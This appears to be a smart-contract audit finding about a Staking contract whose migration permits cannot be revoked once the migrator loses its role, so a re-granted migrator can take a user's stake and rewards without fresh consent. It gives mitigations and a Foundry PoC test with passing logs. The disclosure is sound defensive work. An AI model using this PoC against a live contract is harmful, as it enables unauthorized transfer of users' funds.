Staking.setMigrationPermit() uses the migrator's current role membership as a hard precondition for every write. That includes revocations: calling setMigrationPermit(migrator, false) reverts with MigratorNotFound unless the target address currently holds MIGRATOR_ROLE. However, the user's approval is persisted separately in migrationPermits and role removal does not clear that storage.
This creates a permission-lifecycle bug during migrator rotation or incident response. A user can approve a migrator while it is active, but once the address is offboarded the same user loses the ability to revoke that old approval. The stale true entry remains stored indefinitely. If operations later re-grant MIGRATOR_ROLE to the same address, migratePositionsFrom() accepts the old permit and immediately re-enables migration without fresh user consent.
That reactivation is not just cosmetic. Once re-authorized, the migrator can pull the user's remaining principal and rewards directly to itself via TOKEN.safeTransfer(msg.sender, ...). This undermines the intended approval model described in IMigratorV1, where migration is supposed to require current user permission.
Grants and revocations both require the target address to currently hold MIGRATOR_ROLE, so users cannot clear an old permit once the migrator is offboarded.
Successful migration sends the user's remaining assets directly to the migrator, so stale-approval reactivation can lead to real unauthorized asset movement.
The interface documents a consent-based security model, but stale permits can outlive role removal and revive later without renewed approval.
Impact
Users cannot revoke migration consent during migrator offboarding. That makes role removal weaker than it appears operationally: the system may look safe while the address is deauthorized, yet an old true permit remains in storage waiting to reactivate if the same address is regranted. it can immediately migrate any previously approved user's active positions without asking again. Because migratePositionsFrom() transfers unclaimed principal and rewards to the migrator address, this can result in unauthorized custody transfer of user assets.
Recommended mitigation steps
Allow setMigrationPermit(_migrator, false) to succeed even when _migrator no longer has MIGRATOR_ROLE; only require the role when setting a permit to true.
Invalidate or clear stored permits when MIGRATOR_ROLE is revoked, for example by deleting permits or advancing a per-migrator approval epoch that must match at migration time.
Add regression tests that cover the full lifecycle: approve, revoke role, user revokes, regrant role, and assert migration stays blocked until the user explicitly approves again.
Proof of Concept
PoC Test
Test file
test/StaleMigrationPermitReactivation.t.sol
What the PoC demonstrates
Alice stakes and explicitly approves an active migrator.
Admin revokes MIGRATOR_ROLE from that migrator address.
Alice tries to clean up with setMigrationPermit(migrator, false) and the call reverts with MigratorNotFound.
The old migrationPermits[migrator][alice] value remains true in storage.
Admin grants MIGRATOR_ROLE back to the same address.
The same migrator immediately calls migratePositionsFrom(alice) and receives Alice's remaining stake plus reward without any fresh authorization step.
Run
Test Results
The passing PoC confirms the issue end to end: Alice cannot revoke the stale approval once the migrator is offboarded, the stored permit survives role removal, and regranting the same address reactivates migration immediately without new user consent.
/**
* @dev Migrator require permission from user to transfer their position to the new staking contract.
* (migrator should not be able to migrate stakes if not approved by user)
*/
interface IMigratorV1 is IERC165, IStakingV1 {
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.23;
import {IAccessControl} from "openzeppelin-contracts/contracts/access/IAccessControl.sol";
import {ERC20Permit, ERC20} from "openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Permit.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {Staking} from "../src/Staking.sol";
import {IStakingV1} from "../src/interfaces/IStakingV1.sol";
contract StaleMigrationPermitPoCToken is ERC20Permit {
constructor() ERC20Permit("StaleMigrationPermitPoCToken") ERC20("StaleMigrationPermitPoCToken", "SMPP") {}
}
contract StaleMigrationPermitReactivationTest is Test {
Staking internal staking;
StaleMigrationPermitPoCToken internal token;
bytes32 internal constant MIGRATOR_ROLE = keccak256("MIGRATOR");
address internal admin = address(0xA11CE);
address internal manager = address(0xB0B);
address internal pauser = address(0xCAFE);
address internal migrator = address(0xD00D);
address internal alice = address(0xA71CE);
uint256 internal constant ALICE_STAKE = 10 ether;
uint64 internal constant STAKING_DURATION = 30 days;
uint64 internal constant UNLOCK_DURATION = 7 days;
uint32 internal constant APR_BPS = 1200;
function setUp() public {
token = new StaleMigrationPermitPoCToken();
staking = new Staking(admin, manager, pauser, address(token));
vm.prank(admin);
staking.grantRole(MIGRATOR_ROLE, migrator);
}
function test_PoC_StaleMigrationPermitReactivatesWhenMigratorRoleReturns() public {
uint8 periodIndex = _addStakingPeriod(ALICE_STAKE, STAKING_DURATION, UNLOCK_DURATION, APR_BPS, true);
uint256 aliceReward = _calculateReward(ALICE_STAKE, STAKING_DURATION, APR_BPS);
uint256 expectedMigratorPayout = ALICE_STAKE + aliceReward;
// Phase 1: create a live position and an explicit migration approval while the migrator is active.
deal(address(token), address(staking), aliceReward);
deal(address(token), alice, ALICE_STAKE);
vm.startPrank(alice);
token.approve(address(staking), ALICE_STAKE);
uint8 stakeIndex = staking.stake(periodIndex, ALICE_STAKE, _stakeParams());
staking.setMigrationPermit(migrator, true);
vm.stopPrank();
console.log("stake index", stakeIndex);
console.log("permit after initial approval", staking.migrationPermits(migrator, alice) ? uint256(1) : 0);
console.log("migrator role after initial approval", staking.hasRole(MIGRATOR_ROLE, migrator) ? uint256(1) : 0);
console.log("activeTotalStaked after stake", staking.activeTotalStaked());
console.log("activeTotalRewards after stake", staking.activeTotalRewards());
console.log("staking contract token balance after stake", token.balanceOf(address(staking)));
assertEq(stakeIndex, 0);
assertEq(staking.getUserStakes(alice).length, 1);
assertEq(staking.migrationPermits(migrator, alice), true);
// Phase 2: admin offboards the migrator. Alice now tries to revoke, but the contract blocks the cleanup.
vm.prank(admin);
staking.revokeRole(MIGRATOR_ROLE, migrator);
console.log("migrator role after offboarding", staking.hasRole(MIGRATOR_ROLE, migrator) ? uint256(1) : 0);
vm.expectRevert(abi.encodeWithSelector(IStakingV1.MigratorNotFound.selector, migrator));
vm.prank(alice);
staking.setMigrationPermit(migrator, false);
console.log("permit after failed revoke attempt", staking.migrationPermits(migrator, alice) ? uint256(1) : 0);
assertEq(staking.migrationPermits(migrator, alice), true);
// Phase 3: while the role is absent, the stale permit is inert only because AccessControl blocks the call.
vm.expectRevert(
abi.encodeWithSelector(IAccessControl.AccessControlUnauthorizedAccount.selector, migrator, MIGRATOR_ROLE)
);
vm.prank(migrator);
staking.migratePositionsFrom(alice);
// Phase 4: if the same address regains MIGRATOR_ROLE, the old approval silently becomes valid again.
vm.prank(admin);
staking.grantRole(MIGRATOR_ROLE, migrator);
console.log("migrator role after regrant", staking.hasRole(MIGRATOR_ROLE, migrator) ? uint256(1) : 0);
console.log(
"stale permit still stored before migration", staking.migrationPermits(migrator, alice) ? uint256(1) : 0
);
console.log("migrator token balance before migration", token.balanceOf(migrator));
vm.prank(migrator);
IStakingV1.UserStake[] memory migratedStakes = staking.migratePositionsFrom(alice);
console.log("migrated stakes length", migratedStakes.length);
console.log("migrator token balance after migration", token.balanceOf(migrator));
console.log("activeTotalStaked after migration", staking.activeTotalStaked());
console.log("activeTotalRewards after migration", staking.activeTotalRewards());
console.log("alice stake count after migration", staking.getUserStakes(alice).length);
assertEq(migratedStakes.length, 1);
assertEq(migratedStakes[0].amount, ALICE_STAKE);
assertEq(migratedStakes[0].reward, aliceReward);
assertEq(migratedStakes[0].claimedAmount, 0);
assertEq(migratedStakes[0].claimedReward, 0);
assertEq(staking.migrationPermits(migrator, alice), true);
assertEq(staking.getUserStakes(alice).length, 0);
assertEq(staking.activeTotalStaked(), 0);
assertEq(staking.activeTotalRewards(), 0);
assertEq(token.balanceOf(migrator), expectedMigratorPayout);
}
function _addStakingPeriod(
uint256 cap,
uint64 stakingDurationSeconds,
uint64 unlockDurationSeconds,
uint32 aprBps,
bool isActive
) internal returns (uint8 periodIndex) {
vm.prank(manager);
periodIndex = staking.addStakingPeriod(cap, stakingDurationSeconds, unlockDurationSeconds, aprBps, isActive);
}
function _stakeParams() internal pure returns (IStakingV1.StakeParams memory params) {
params = IStakingV1.StakeParams({
maxStakingDurationSeconds: STAKING_DURATION,
maxUnlockDurationSeconds: UNLOCK_DURATION,
minAprBps: APR_BPS,
referrer: address(0)
});
}
function _calculateReward(uint256 stakingAmount, uint256 stakingDurationSeconds, uint256 aprBps)
internal
pure
returns (uint256)
{
return (stakingAmount * stakingDurationSeconds * aprBps) / (365 days * 10_000);
}
}
forge test --match-path test/StaleMigrationPermitReactivation.t.sol -vvv
Ran 1 test for test/StaleMigrationPermitReactivation.t.sol:StaleMigrationPermitReactivationTest
[PASS] test_PoC_StaleMigrationPermitReactivatesWhenMigratorRoleReturns() (gas: 801102)
Logs:
stake index 0
permit after initial approval 1
migrator role after initial approval 1
activeTotalStaked after stake 10000000000000000000
activeTotalRewards after stake 98630136986301369
staking contract token balance after stake 10098630136986301369
migrator role after offboarding 0
permit after failed revoke attempt 1
migrator role after regrant 1
stale permit still stored before migration 1
migrator token balance before migration 0
migrated stakes length 1
migrator token balance after migration 10098630136986301369
activeTotalStaked after migration 0
activeTotalRewards after migration 0
alice stake count after migration 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.20ms (4.92ms CPU time)